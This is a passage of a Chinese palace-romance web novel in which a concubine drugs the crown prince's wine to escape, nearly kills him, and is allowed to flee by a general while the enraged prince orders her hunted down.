余姚心中考虑思量,斟酌着开口道:“妾不敢欺瞒殿下,妾一开始的确是不愿意的,妾来此几月有余,妾虽常与殿下口角相激,在妾心中却早已将您当做妾的夫君了。”
太子原本垂下的眼皮忽然抬起,眸中一丝精光闪烁,待她讲完,太子便道:“你倒十分诚实。”
余姚说:“殿下在上,妾不敢欺瞒。”
太子颔首:“既然如此,那便依你。”
“多谢殿下。”余姚反应极快,仿佛担忧他随时都会变卦。
太子见她面露思索,余姚转念一想,只是下一瞬她的下颌便顿时收紧,她一抬眼便对上了一双幽深的眼眸。
“既然要感谢孤,不如你便做些令孤高兴之事。”
余姚面色一僵,她刚要将自己的手回缩,禁锢在背后的手臂便像蜘蛛网一般,原产元举报。
面前的太子唇角勾起,“姚娘,过来。”
————
本朝法制,凡是在朝围观者,均是十日一休沐。
已是逢双之日,距离休沐日还剩三日,在这期间,余姚便想尽法子从东宫典承局处偷偷取得了一点调教烈马坐骑的蒙汗药。
这次的计划,余姚关起门来只与春花说了,春花就骇得面色青白,她道:“姨娘,那,那可是当朝的太子殿下啊......你,怎么能用蒙倒畜生的蒙汗药给他用呢?他是将来的君父啊......”
余姚见春花吓成这样,她走上前握住了春花的手,道:“噤声!春花,你糊涂啦!你怎能在这里胡乱唤我?咱们只求自由,又不害命。”
余姚叹息一声,松开了春花的手,“若你不愿与我一起走,我,我也想法子替你安排......”
春花听见余姚言语中似有要将她留在这里的意思,她一着急,一咬牙重新抓住了余姚的手,斩钉截铁道:“姐姐,这样的事咱们不是第一回做了,管他什么龙潭虎穴,东宫储君又算得了什么,他用我威胁姐姐,原就失德,我心中早就不当他是将来的君父了!”
余姚点头,“好,好妹子,咱们齐心协力,为了余生不做他人笼中雀鸟,便舍了这性命又如何!”
————
三日后,朝廷休沐日。
夕颜院中,栽种的一棵枝繁叶茂的大树上,鸟雀呼晴,轻盈透亮的晨光透过枝叶,洒落在青石地面上。
窗扉打开,一只纤细、白净的手掌犹如盛开的兰花般,轻轻置在木窗上,光束落在那手上,更衬得那手尤似一半透明、一半轻清的美玉。
余姚目光放远,落到了自己的手上,看见晨光中微尘旋转、掉落。
她身后的丫鬟们默不作声地替她装扮梳头,她身上穿着一件白米粒糯粉珍珠圆领衫,外罩一件清碧色圆领罩衫,搭配深绿色马面裙,铜镜之中,余姚看着镜中人,竟恍然不识。
待门外有丫鬟夏风来禀报,“夫人,太子殿下鹤驾至。”
余姚回眸,便见到珠帘外婢子挑起珠帘,门口一袭青玄色宽袖道袍的青年男子入内,他抬眸,头上的纱帽上水晶玛瑙流苏便轻轻摇动,衬得公子容貌俊美,锦袍灿然生光。
太子似不曾听见众多婢子们请安声音,他一入内,眼睛只见到铜镜前端坐的美人梳妆图,美人鬓发如流云、如瀑布,鬓间未佩珠翠,仅簪了两朵粉白交加、大小相宜的菡萏花苞。
大早上的,仿佛凭空闻见了芬芳的茶花香气,太子轻轻嗅了嗅,十分满意地走上前,动作自然地将手搁置在她的肩上。
余姚见到镜中太子的容颜,没有错过他眼中的惊叹与满意。
她正要请安,却被太子托住了手臂,他说:“今日良辰美景,姚娘与孤之间,不论君臣之仪。”
余姚故意嗔道:“不论君臣?殿下为何又称孤道寡起来啦?”
太子眼前一花,只觉得今日晨光过于炫目,面前的美人含嗔带怒,无不活色生香。
真是明艳不可方物,胸膛中似乎被凿出了一块大洞,不然,他怎会听见犹如马蹄匆匆的回音呢?
他几乎一瞬间就找到了归宿的梦乡,心中不免生出得意。
醒掌天下权,醉卧美人膝。
无论是将来,还是现在,这就是他人生的真实写照。
太子轻笑,伸手就在她鲜嫩嫩的红唇上抹了一道,颜色明显淡了许多,“是,我说错了,请姚娘赎我的罪。姚娘容貌羞杀桃李,何必再涂胭脂?”
余姚感觉心中一颤,她有一瞬间的慌神,就像是志怪小说里被画壁妖怪迷惑的小姐,她咬了咬唇肉,左手一探,便将太子的手扯下来了。
她故作娇俏道:“殿下莫不是唬妾?既然今日不论君臣之仪,那殿下今日是否要带仪仗出门?”
太子哈哈一笑,“姚娘都如此说了,我自然是不带仪仗出门。你我换上寻常衣物,民间之人只会认为你我是一队新婚不久的夫妻而已。”
太子伸手揽住了余姚的肩膀,另一只手抚上了她的发间,余姚只觉得发上一沉,她伸手摸去,竟然在鬓间摸到了一只冰凉触感的白玉,似是一朵手掌大小的玉簪。
太子欣赏道:“名花美人两倾城。姚娘,来。”
余姚淡淡低眉,将手放在了他的手掌里,而后手被温热包围、收紧。
晨光下,夕颜院主屋中原本跪拜的婢女们抬头,眼前光影绰约,有两道身影相携而去。<
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p>亲昵宛若少年结发夫妻。
————
尽管已说过不会携带仪仗,二人来到东宫后门,余姚戴着白色帷幕,上了一辆低调的青皮大轿子,谁知一上去,便见轿中空间极大,内里白玉为底,黄金作床,美酒珍馐,不可名状。
马车稳稳驶向远处,余姚与太子比肩而坐,太子手边的玉茶几上摆了一叠极高的奏折,太子依次看过。
余姚则百无聊赖地将发间簪子拔下,竟是一只通体雪白的山茶花玉簪,白玉虽然难得,但更难得的却是花盘顶端带着层层晕染的红色,竟不似人间物。
余姚最后迷迷糊糊睡了过去,再次醒来是被马车外的人声闹醒的,外面的人恭敬道:“主子爷,到地方了。”
余姚这才反应过来,自己竟然在睡梦中无知无觉地靠在了一旁太子的肩膀上酣睡了过去,她脑子里第一个念头便是荒谬!
她就像是被什么毒蛇给咬中了手脚一样,慌慌张张的弹跳了起来,她一愣,抬眼之时便对上了一双幽深的眼眸。
“可是做噩梦了?”良久,太子问道。
余姚意识到自己反应大了,难免惹人怀疑,她拍着胸口说:“是啊,妾梦见了一条长蛇在身后追杀,张开着血盆大口,真是吓死人了!”
也不知是她语言风趣,还是她姿势看起来可笑,太子殿下竟然看着她,低低地笑了起来。
过了一会儿,太子才携着余姚一起下了马车。
下了地,余姚四望一眼,只见此地三面青山环绕,唯有东面是一望无际的接天莲叶群,荷风摇晃中隐约可见水光潋滟,有风拂面带来水汽,竟觉察不到丝毫蒸腾暑气。
不远处有人守在一条窄小的长条小舟旁,太子看了那小舟一眼,又转过头,伸手。
余姚明白了他的用意,当即将自己的手掌搭在了他的手掌上。
二人来到小舟前,余姚惊讶道:“这样是南方的船吧,这样小。”
太子挑眉,“姚娘是南方人?”
余姚暗悔失言,她强撑起笑说:“以前去过。”
话回得短,也就是没有了交谈下去的意思。
但她偷看了一眼太子,见他已然不再追问,余姚总算是放下心来。
太子眼眸一暗,从前?她说过她是歌舞伎出身,在富商家中做妾。
听她口音似乎没有夹杂南方口音,应不是南方本地人,若说是客居过南方,那她口中的“从前”里,陪伴在她身边的人,定然就是她口中说过的“王翁”无疑了。
如此细细想下去,太子觉得自己就像是吃了一口苍蝇一般,他心中一滞。
一旁侍奉的男童欲要服侍太子上舟,太子挥手拒绝:“下去。”
那男童行过礼便退了下去,余姚先一步走在太子前面,落座下来。
她笑盈盈道:“木公子,这舟太小了,看来你要搭下一趟啦。”
太子见她似有独身离去之意,心中一动,眼疾手快地将脚下的船桨拿在了手中。
余姚心烦,故意作弄他,偷偷解开了小舟拴在木桩上的绳子,小舟轻盈,风一吹便离岸数尺。
太子站在岸边,眼见面前的女子放肆作弄,他不置可否。
“公子慢行,妾先赏荷去啦。”余姚伸手挑开了遮在面前的白色纱帷,素手纤纤,面容细嫩如周边芙蕖。
太子眸光幽幽,下一瞬身影一闪,锦衣在阳光下越发华美。
余姚只觉得眼前一晃,身下小船如风中浮萍晃悠两下,她再一抬眼,一张堪称‘鬼魅’的脸蛋便在顷刻之间来到了她的眼前。
还真是......阴魂不散呐。
38. 038
“娘子要去何处?我送你。”太子皮笑肉不笑地看着余姚的方向。
余姚心中恼怒,故意将手往水里轻轻一撩,掬起一捧水就往高处泼,面前的人反应极快,水花连他的一片衣角都不曾沾染上。
太子脚尖落地,宛如风送浮萍、水上秋叶一般落到了舟面之上。
自从前几次见过太子用的那诡异的‘雪蛛丝’以后,余姚就知晓他的武艺身家应当不俗,此刻见他这样一招,心中难免惊奇。
太子没有生气,反而将手中的木桨轻轻一撑,小舟顿时飘了出去。
余姚对着岸上站着的春花使了个眼色,春花点点头。
余姚这才放心地收回了目光,任由一点小舟强势地闯入了藕花深处。
一路上,碧叶粉花相映衬,盛开的荷花露出了鲜黄的花心,几只纤细灵巧的长尾蜻蜓落在了花蕊上。
不知何时停了下来,余姚察觉到船停的时候,太子已经站在了她面前,他居高临下地看着余姚,黝黑的眸子里,瞳孔在阳光下看起来似乎有一抹浅淡的琥珀色。
阴影仿若一大片的乌云盖住了她的头顶,她身躯里的灵魂早就不成什么在阁的少女,心中自然十分明白男人意动时的模样。
余姚心中暗骂,这人真的是随时随地都能发情啊!
“我替小娘子鞍前马后乘船,不知小娘子能回报我什么?”太子问道。
果然卑劣!无耻!
余姚心中忿忿不平,她冷道:“是你自己撑船,我难道命令你了?”
“你虽没有命令我,但小生我一见到姑娘,便再也忍不住想为娘子做些什么。既然是我有恩于你,那就请娘子这就投桃报李吧。”
太子单膝蹲下身子,但即使如此还是比坐在船头的余姚高出不少,显得压迫感极强。
这样近的距离,太子已然闻见了一股幽香,眼前的人面如花,太子不免情动。
余姚退无可退,她也不再张口说些什么冷言冷语了。
在绝对的力量压制之下,无论说什么都没用。
太子见余姚终于识趣,他顺势将她从船头拉下来,剥开了荷花花瓣,层层叠叠的衣裳落在船上,衣角滑落掉入了水中。
小舟顺着水面荡漾的波纹晃来晃去,春水无限好风情,人面胜桃红。
————
抵达湖心亭的时候已经是傍晚时分,残红的日照落在水上,半江瑟瑟半江红。
江面上荷叶如裙,凉风不止,人的衣裳都被风吹得鼓起。
湖心亭又名“明月亭”,亭廊一体,而且亭子顶部是四角攒尖顶,入目所看,周围竟然连半分灰烬都没有,一看就知道这亭子是日常有人看护的。
余姚一站在地上,两只脚直发虚,她恼怒地看了一眼身前的男人。
神清气爽的男人缓缓前行,身上完全没有丝毫疲惫的感觉,
春花已经在明月厅里面候着了,桌子上摆放了琳琅满目的清淡菜品。
余姚打量了桌面上的菜色,心中一沉,她看向春花,烦道:“虽是出门在外,但殿下是何等人中龙凤,岂能跟那些凡夫俗子一般用这些俗物?饭桌上岂能没有美酒佳肴?”
不知是否是自己的错觉,余姚似乎看见太子若有似无的探究目光。
她心中悚然一惊,难道他已经察觉到什么了?
春花与余姚相处多年,两个人好得像另一个人的影子,春花岂能不知余姚话语中的意思。
看来这是要用酒了。
春花连连道歉,并将早就在预备好的酒坛拿了出来。
太子与余姚一落座,余姚望着一桌子的清淡菜色,暗暗叫苦。
她带来的药太劣质了,若是混迹在白粥或是别的什么里,那就太明显了。
要说是下药用,酒可真是一个万能的东西,不仅味道浓烈,颜色也多样,药下在那东西里面,才不容易看出来。
就在她不知用什么理由支开太子时,外面长廊忽然有一人来禀报,即使距离甚远,凭着那人的身高外形,余姚还是认出来此人不正是她先前见过的年同么?
太子知晓年同是极靠谱之人,若不是重要的事,他是不会没眼力见在这时候选择回禀。
只是……
太子看了一眼余姚。
“既然有急事,殿下便去吧,妾一个人赏风景也甚好。”余姚巴不得他赶紧走,若是这样,她连下药的功夫都能省下。
太子赞赏地看了她一眼,桌下捏了一把她的手,略有所指道:“娘子稍坐,小生即刻便来。”
余姚扯手,眼见太子一走出亭子,便与年同并肩向长廊外走去。
余姚心中激动,终于给她找到下手的机会了!
她对着春花使了个眼色,春花当即会意,走上前才从袖口取出了一包用牛皮纸包裹着的三角药包。
余姚抬眼,春花向左侧一站,挡住了大半的光,余姚会意,眼疾手快把药装在了酒壶里。
——
“什么事?”太子问。
年同抱拳禀道:“殿下,今日皇后娘娘在宫中惩戒李贵妃,贵妃见了血,皇上命人申饬了皇后。”
后宫动荡,皇嗣不稳,这自然不是什么小事,何况当今的皇后娘娘名义上还是太子的嫡母,皇后娘家闻人视一族,是出了名的名门大家,连续几朝都有族人在朝为官,王侯公卿最是不缺。
皇后膝下只有太子一人,如今皇帝偏宠李贵妃,夺嫡战争中,很明显,皇后与太子休戚与共,是真正的命运共同体。
太子沉吟一声,他的食指缓慢而有节奏地转动着大拇指上的黑玉戒指,终于他道:“明日晨省,孤会注意。”
年同称是,就要退下。
太子叫了他停下,说:“今日难得放松,殊途,你与东宫卫的侍卫也休息休息,此处山清水秀,倒真是个不错的消暑胜地。”
年同近年来的养气功夫是越来越好了,难得听上一回太子殿下的冷笑话,年同毫无反应地抱拳应答。
太子知晓年同的脾性,索性也不劝,他调转方向往明月亭去了。
这还没进门,就闻见了一股浓郁的酒香,太子不好酒,但也不是不能喝酒。
太子一落座,余姚便递过来一杯醇厚的酒,她笑道:“公子适才好生勇猛,令妾心折,妾敬公子一杯。”
太子难得听面前这女子说这样露骨的话,不免心生惊奇,太子接过那酒,顺手放在手边。
余姚强迫自己移开硬要落到那酒杯上的目光,她知道面前的人有着无比敏锐的政治嗅觉,既有狐狸的狡诈,又有狼的危险。
余姚挑眉:“公子怎么不喝妾的酒?难不成是嫌弃妾的酒?”
太子笑道:“美酒佳人在侧,我怎会嫌弃?”
这就是把皮球踢还给她了,余姚面上平静,心中却倍受熬煎,宛若热锅上的蚂蚁一般。
成败在此一举,若是余生只能做权贵手中豢养的雀鸟,那重生来一世还有什么意思?
“难不成,公子其实是在担心妾在
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酒中下了东西?”余姚恶向胆边生,故意反问道。
太子尚未回答,就见余姚已经先他一步夺走了他手边那杯酒,爽快地一饮而尽。
喝尽了以后,余姚还将空酒杯反转过来,向下倒给他看。
“妾都喝过了,公子莫非还不如妾这一介女裙钗?”余姚将旁边的酒壶取过来,复斟了一满,推到了太子面前。
太子笑说:“娘子何至于此,我岂会猜忌于你,不过是见娘子辛苦,小生欲让娘子喝这头一杯酒水罢了。”
说罢,太子端起手边的酒杯一饮而尽。
余姚这才露出笑容,抓起一旁放倒的酒壶替太子斟满,太子来者不拒。
如此喝了三个来回,余姚忧心药量少了,此人虽是天潢贵胄,又有一身鬼神莫测的功夫在身上,恐怕这点剂量不能迷晕他。
但太子却是说什么也不肯再饮了,为了不让余姚倒酒,太子已经顺手将酒杯倒扣在桌面上。
正预备趁其不意将偷偷斟酒的余姚:“......”
太子被她这幅试图暗度陈仓却被抓包的表情逗乐,他眼睛一扫,忽然瞥见了侍立在一旁的婢女,不知是否是眼花了,这婢女怎么在颤抖?
“你,过来回话!”太子忽然指着那婢女道。
等到婢女近前,在太子一声“抬起脸来”的命令声中,婢女颤颤巍巍抬眸,哦,这人是余姚的贴身婢女。
既然是贴身婢女,怎么这么失态?
太子侧过头看了看余姚,不知道怎的,竟然觉得眼前人在烛光里出现了重影,眼皮也越发沉重起来。
余姚就坐在太子的身侧,她心中有鬼,自然对身旁之人的一举一动都尽收眼底。
她见太子眼神迷蒙,大有中药后的样子,太子呢喃:“娘子……”
余姚知道他这幅模样,定是中药了无疑。
余姚见到身侧的人缓缓倒在了桌子上,露出了脑后脆弱的脖子,她顿时心中一动,肢体动作已经先于大脑反应,手已经从脑后拔出了一根锋利的簪子,簪子握在手中,露在外面的半截是红白相间的茶花。
春花只见眼前白光一闪,正见余姚举起簪子,下一瞬便要将太子刺死。
她吓得上前慌忙抱住了余姚,失声道:“小姐不要!“
余姚被声音所惊,手中簪子距太子后颈不足一尺,她眼神锐利道:“这人权势滔天,今日若不杀他,恐怕来日,你我都要丧命在他手上。“
春花死死抱住余姚,声音都隐隐发颤:“可杀害一朝储君,这是死罪啊,咱们有几颗头?”
余姚犹豫,但那簪子还不曾收,春花见她迟疑,连忙趁热打铁道:“太子身边定然卧虎藏龙,好不容易脱身,咱们还是快走吧。恶人自有天收,咱们只求问心无愧就是。姐姐,你不是说要带我去过正常生活吗?”
春花声音越说越小,但每一个字都像是刀剑斧凿一般刻在余姚心上。
便是这一愣神,春花已经从余姚手中夺了簪子去,她拉着余姚的手,二女已经跳上了小舟。
春花正要摇桨,余姚忽然说:“等等。”
眼前一闪,耳边已经响起了“叮啷”一声,那簪子已经在地上碎成两半,可惜了一块稀世珍玉!
二人合作摇桨而去,不知行了多久,终于看见了岸边,没成想,余姚站在船头,急切地拨开面前的草丛,正要跳上岸,一抬眼却发现眼前站着一个身穿宽袖袍、孔武有力的男人。
四目相对,空气在这一瞬间停止。
39. 039
余姚感觉自己浑身的血液都仿佛从头到脚冻结了一般,她脑子一空,目光落到了面前男人卷曲的鬓发上,她这时才发觉这人的眼眸竟然是灰绿色,在漆黑的夜幕中看来,仿若黑猫一般。
男人听见半丝毫风吹草动,右手以迅雷不及掩耳之势抽出了挂在后腰处的横刀,面前青光一点。
她看不懂招数,只望见那身穿直身长袍的男子双手握住刀柄,摆开架势,仗着人高腿长,杀招看起来也大开大合。
余姚吓得叫出了男人的名字,“薛千勋!”
原本将要砍下来的横刀便停在了半空,近在余姚脖子附近。
“贵人,你不该在这。”他的声音很粗嘎,说话的时候仿佛胸腔都在发力、震动。
余姚想说些什么,但搜刮干净脑子里所有的东西,她又觉得所有的借口都脆弱得不堪一击。
“我......”余姚的话音还未落下,面前的男人已经利落收刀回鞘。
薛千勋抬眸,深邃的眉骨下,眼睫毛像是一把浓密的扇子,灰绿色的瞳孔在月光下仿佛泛着莹莹光泽。
他说:“贵人不必想什么话敷衍我了,今晚的事,我可以当做没看见。”
余姚与春花听见眼前这人竟然十分知趣,不免高兴地对视一眼,余姚缓和了神色,她上前一步,道:“既然如此,那咱们就此别过。”
春花已经先余姚一步从船头跳到了岸上,余姚在春花的帮助下,也从船头跳了下来,二女正要就相互扶持着离去,一把通体漆黑、朴素无华的刀鞘立时横在面前,挡住了去路。
“你这是做什么?”余姚问。
薛千勋半步都不曾后退,他的目光淡淡落在余姚的脸上,奇怪的是,余姚并没有从这里面看出来什么恶意。
他说:“贵人,不能再走,你是东宫的人。”
余姚听见‘东宫’二字,心中恼意便如洪水猛兽一般汹涌而来,她冷淡看了他一眼,道:“事情如今发展成这样,你亦有推卸不掉的责任。”
薛千勋沉默,他说:“贵人,你生来,便要站在光亮处。”
余姚没听懂,她疑惑地试探着问:“我们是不是见过?”
他垂眸,“现在。”
他的意思是说,现在就见了。
这就是不愿意回答了,既然人家不乐意说,余姚也不勉强。
余姚冷着脸说:“让开。”
“请贵人,折返。殿下,在等你认错。”薛千勋说。
从上次与他那短暂的一日相处,余姚早就知道此人是头犟牛,只要是他认定的事情,便绝没有回旋的余地。
自己这次是赌上两条性命,冒险从龙潭虎穴中出来。
绝对,绝对不能在这里折戟沉沙。
三人悄无声息对峙着,耳边传来蛙鸣阵阵,余姚背后已经被冷汗浸湿,她的大脑正在飞速运转,只是眼下这番境遇,终究一时无法可想。
忽然传出脚步声,与之伴随的,还有不绝于耳的刀剑与兵甲相互碰撞的声音,仅是瞬息的时间,余姚的心脏便狂跳不止,头脑里就像有什么东西将要炸开一样。
“站住。”一道坚定的声音响起,脚步声与刀剑磕碰声立刻停下来。
余姚死死盯着眼前男人的卷发,月光下,他像一只强壮的公熊,顷刻之间就能取走二人性命。
“将军,您那儿有什么状况吗?”许是良久没有听见薛千勋作声,侍卫们就以为发生了什么状况。
薛千勋扬声说:“没有状况,你们,退下。”
侍卫们回了一声“是”以后,脚步声又渐渐远去。
过了良久,余姚与春花才如释重负地塌下了肩膀,二人对视一眼,都从彼此的眼中看出了绝望。
“薛将军,我在东宫真的活不下去。”余姚选择示弱,两只微微翘起的美目看向对面的人,美人眉间微蹙,眸子里就像下起了一袭迷蒙的江南烟雨。
薛千勋一愣,他沉默着,看起来像是一堵难以跨越的城墙。
他张了张唇,似想要说些什么,最后却尽数归于平寂。
余姚偷看到了他眼中一闪而过的情绪,多年以色侍人的嗅觉让她熟知男人的每一刻情绪。
她看得分明,眼前这个男人适才流露出的情绪是怜惜......
她从很多男人眼中看到过惊艳与垂涎,似这样的怜惜却没有见过,她心中又想起了上一次,她以皮相诱惑于他,他一副不动如山的模样,实际上身体却老实得很。
找到了!
余姚垂眸期间,唇角在不经意间轻轻扬起,再次抬眼她已经眼疾手快地抓着他的横刀,纤细、雪嫩的颈子闪过一道寒光,春花吓得脸色煞白。
薛千勋眼眸中闪过一丝慌乱,他连忙将露在外面的刀身按进刀鞘。
余姚扑了一场空,跌坐在地,薛千勋单膝跪地,与她四目相对。
余姚此时终于看清对方眼眸中的恐惧,紧接着是劫后余生的庆幸。
她微微扯动嘴角,如果说薛千勋之前像是一个沉默的熊,此刻他就是被激怒的熊!
“你疯了!”他怒斥道。
余姚吃痛,被他两只铁钳一般的手钳制住了两条手臂,她皱眉。
薛千勋仿佛触电般松懈了力道,余姚强忍着疼痛,抬手将他急欲抽回的手按住,她望着他:“如果你不放我走,在某一天、某一刻,也许我还会死,薛将军,你的恩德,我永志不忘。”
薛千勋低着头,余姚知道他一定在挣扎,她按在他手上力道逐渐加大,不知不觉间,她的指甲深深陷入了他的皮肉。
余姚在等着他那句“那就走吧。”
但过了许久,都没有听见人声,面前忽然被一道宛如乌云的黑影笼罩。
她抬眼,见到面前的人已经转过了身去。
这是......
允许的意思吗?
余姚心尖一端,猛然间颤动,像树叶掉入水流,顺水东去。
她看了一眼身后的春花,点点头。
临走时,余姚没有默不作声地就走,反而对着面前的男人福身道了声谢,一手捏紧了包袱,正要拔腿离去,却被一道沙哑的男声叫停。
春花用力拉住余姚的手,想带着她一起跑,余姚反而拉住了她,然后拍了拍她的手以作安抚。
跑?
两个手无缚鸡之力的女子,能跑得过一个人高马大、常年混迹于军营的男人吗?
既然这男人对她没有恶意,余姚索性就停下来看着他有什么下一步动作。
薛千勋睁开眼,望向了余姚所在的方向,他说:“贵人,你斗不过他。”
“我知道。”
余姚惨笑一声,应声道。
“我不后悔,生死自负。”
话音落下,迎接余姚的只有无尽的沉默。
就在她忧心蒙汗药下的少了,狗太子那边不好糊弄时,薛千勋没再说话。
余姚咬咬牙,说了声“多谢”而后携着春花的手远去。
————
漆黑的夜幕之中,繁星闪烁,万籁俱寂。
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湖心处一座明月亭中,灯火通明。
几个身着黑衣、难辨男女的年轻人跪了一地,王振正躬着腰将手中一杯茶水递至太子面前。
太子坐在桌边,用手掌撑着额头,眼眸阴沉地盯着手边的松石绿黑色滴蜡美人肩酒壶,似是想到了什么,他忽然发怒,伸手一扫,酒壶触地,霎时之间,碎瓷飞溅!
甚至有碎瓷片溅落到面前的几个暗卫身上,黑色衣物看不出血色,但地面处却积了一小滩的血。
但此时此刻,没有一个人敢吭声。
王振立即跪倒在地上,颤声道:“殿下,您是一国储君,千万珍重千金贵体啊。”
太子喘着气,药性未曾消退,他用手指抵住一侧额头轻轻按压,一垂眸,视线忽然落到了地上那一堆碎瓷片中的一块白布,他狐疑起身,将那物拾起。
拆开那物,露出了里面洇湿的粉团状的东西。
太子是何等人物,吃人不吐骨头的前朝后宫中摸爬打滚许多年,这点子微末手段,自然是一瞧就明白。
这必然是事先把这腌臜东西包住,趁人不注意,偷偷藏在了壶盖内侧,先前倒的那一杯余姚喝了没事,是因为那药放在了壶盖上,酒水没有洇湿。
后面他喝的,却是余姚为他斟酒时,“不经意”间放到了酒壶,而后酒水打湿了壶盖内侧的药,药水遇水即可化,等他喝了的时候,药性发作,已然晕倒不省人事。
太子捏紧了拳。
好手段!
素日里还真是小瞧她了。
他强忍住额头的不断跳动的青筋,将手中的东西扔在了一个灰眼睛的黑衣人的面前,吐出了一行字:“给孤验!”
灰眼睛黑衣人捡起面前的东西,又是捏、又是闻,甚至还用手指蘸了点粉末,从面罩下舔了舔,下一瞬,他重重地磕到跪倒在地,浑身上下抖若筛糠:“启禀殿下......”
太子皱眉,“说!”
有什么说不出口的?
这余氏不知从何处搞来的药,药性这样强,纵然像他这样内力高深者,竟然也会遭此暗算。
黑衣人叹息一声,颤声说:“回殿下的话,这药......名叫弹指醉,正是本朝饲养牲畜之人,最常备的药物一类,因其药性浓烈,即使是最桀骜不驯的烈马,用了这药也会长睡不醒......”
“住口!”
太子阴沉着脸听着,脸色铁青,两只手紧握成拳,骨节处泛着惨白,竟似要活生生将手骨捏碎一般。
就在所有人都觉得自己被装在透明、无形的袋子里,可供呼吸的空气在一点点被抽干时,王振身后那个跪着的小太监悄默默往后挪动身体,忽然感觉脚边有什么东西硌得疼。
小太监伸出手将脚边的硬物摸出来,定睛一看,似乎是一块玉簪的残片?
他想着自己可真是天降横财,这玉一看就知道不是俗物,若是完好无损,拿到宫外售卖,京中这些有权有势的贵人们还不抢疯了?
不过即使是碎了,也能拾掇拾掇卖出去做个别的小物件。
不过嘛。
像这种贵重物品的碎片,可不会残缺地出现在一处。
想到此处,小太监虽然低着头,但两只眼睛还在不断搜索着周围,希冀能找出更多的碎片。
找到了!
小太监的眼睛里骤然亮起一丝光亮,他生怕那朵碎成两半的玉质茶花被人发现,激动之下身子不受控制颤动,就在他的手即将摸到那块玉的时候,空气中响起一道阴恻恻的质问声:“你在捡什么?”
40. 040
小太监受到惊吓,半伸出去的身子骤然失了力道,竟直接跌坐在地上。
他颤抖着回头,看见了一双淡墨无情的眸子,自高向下,威严无限。
“奴才......”小太监正要张嘴解释一番,他师祖王振已经先人一步将不远处的碎片捡起来,双手捧呈到了太子殿下的面前。
谁知太子殿下一见到那碎片,原本就阴沉沉的脸色瞬间变得铁青,他一把夺走了王振手中的玉佩,猛然用手攥紧,赤红的鲜血顺着他的手腕向下流淌,在地面上绽开了一朵又一朵猩红的梅花。
王振吓得魂不附体,连忙跪着膝行至太子殿下身边,磕头请罪,下边跪着的暗卫们也异口同声说:“请殿下保重千金贵体。”
太子却恍若未闻,快步行至栏杆处,手臂奋力一扬,“噗通”一声,不知丢到了哪一方,原本无比协调的一曲夏夜蛙鸣曲顿时被破坏。
王振咬牙,转身将适才发现碎片的那小太监抓了起来,抡圆了臂膀甩了好几个结实的耳光,直打得小太监两边脸都高高肿起,连声求饶。
最后还是几个小太监合力将两个人拉开,挨打的小太监已经晕了过去。
而东宫头号内侍头子王振则是甩着打疼了的那只手,口里呵斥着:“手脚不干净的贱人胚子,咱家平时是怎么教导你们的?贵人的东西也是你这种低贱的东西能碰的?看咱家怎么打烂你这双烂手!”
“放肆!”太子的声音从身后传来。
王振一听这话,连忙折过身来跪下来请罪。
太子没搭理他,而是望着鬼影憧憧的远处湖面,眼神锐利:“传孤旨意,尔等即刻去寻那......”
太子想说“贱妇”,但话说到口头,脑中忽然想起今早,温煦晨光里,宛如春日负暄之际,茶花在枝头含苞欲放,美得不似人间物。
手上的伤口已经不再流血,唯独皮开肉绽的刺痛无时无刻不在提醒他。
地上的碎瓷片好似化作了一张张张牙舞爪的鬼脸,耳边是此起彼伏的嘲笑讥讽声:“你这个废物,哈哈哈哈,常年玩鹰,今日却反过来被鹰啄瞎了眼睛!”
太子心中大恨,冷厉道:“尔等即刻出发,将那余氏捉回......”
他停顿了一两秒,改口说:“不,尔等见到余氏,便格杀勿论!”
暗卫们听到终于指派了任务到头上,众人心中皆松了口气,抱拳齐声道“谨遵殿下钧令。”
————
天色是稀薄的蓝灰色,雨势渐大,吐珠胡同里,专管门窗的小丫鬟走进了主卧,正要关上窗。
身后骤然响起一道淡漠的声音:“别关窗。”
小丫鬟早就习以为常,自从这间屋子里的女主人失踪了以后,大爷来的愈发少了,但不定时也会来,仰面躺在摇椅上睡一觉就走了。
小丫鬟福身退下后,谢凭又听见一阵细碎的脚步声。
脚步声渐近,谢凭忽然睁开眼,面前一张娇俏如三月桃花的脸蛋,不是她。
谢凭又合上眼,问:“何事?”
秋月原是听说谢凭来了这,梳洗装扮后,想来他面前展现一番。
这事不是第一回了,但每一次谢凭都只看了一眼,连眼角余光都不肯给她了。
秋月咬了咬下唇,脸上的难堪还没消退,眼中又闪过一丝嫉恨。
余姚。
余姚!
都是这个贱人!
谢凭久不见回答,复睁开眼看向面前的人,怎么余姚离开之后,这个丫鬟呆成这样了?
连个眼力见都没有,他次次来,她次次都打扮得花枝招展的,这心思压根就是摆在明面上。
只是余姚陪伴他一载有余,留下的念想不多,大多是死物,且都是他置办下来的。
倒是他面前这个没什么眼力见的丫鬟秋月,是他指派来伺候余姚的人,既是恩典,也是为了叫他时刻知道她素日里有什么状况。
没成想这人莫名其妙地没了,问起来,这丫鬟就只知道说是闹山匪。
真是笑话不是?
护国寺是什么地方?朝代更迭许多年,屹立不倒,俨然成了云京玉阙城中朝圣之处,哪里来的山匪敢摸老虎的屁股?
谢凭觉得眼前的白雾弥漫四散,冥冥之中,似乎隐约摸到了些许线索,但真相往往只需要顺着蛛丝马迹渐渐摸索下去,终究会浮出水面。
护城河里来来回回捞了五遍,余姚和她那个好得跟影子似的丫鬟,却是生不见人,死不见尸。
秋月回过神,骤然见到谢凭正在直勾勾地盯着她,心中又惊又怕。
谢凭皱眉,眼见这丫鬟还是呆傻的模样,便张口要叫她退下。
秋月本就是镇北侯府里的家生奴才,她爹是侯府里颇得脸面的二管家谢大林,本家姓赵,因祖父那一辈起,曾随老侯爷上战场,硬从死人堆里将主人背了出来。
从此以后,赵家为老侯爷倚重,老侯爷遂特地开恩,让他们改了本姓,跟着主人姓谢。
秋月娘也是侯府内妇中的陪嫁丫鬟,俗话说的好,一人得道,鸡犬升天。
这话原不假,富贵人家中的丫鬟,真要论起来,一些门庭院稍小一些的小姐们,还真的不如高门大户里面的丫鬟吃香。
秋月如今是王八吃了秤砣——铁了心要做谢凭的枕边人,这么久以来,只要谢凭来此,她都必然会出现在他面前。
她知道那些奴才们背后都嘲笑她,说她是癞蛤蟆想吃天鹅肉。
秋月向来不屑一顾,笑吧,瞧瞧谁能笑到最后?
“退下。”谢凭厌烦道。
秋月语塞,她今日化的妆是花了五十两银子跟着云京城中最火的怡红院花魁娘子学的,若是没叫谢凭看上几眼,那岂不是前功尽弃?
不成,一定要想个法子留下来!
秋月眼睛转了转,瞥见了梳妆台子上边摆放了一本名叫《闺怨佳人拜月亭》的蓝色封皮的话本子。
有了!
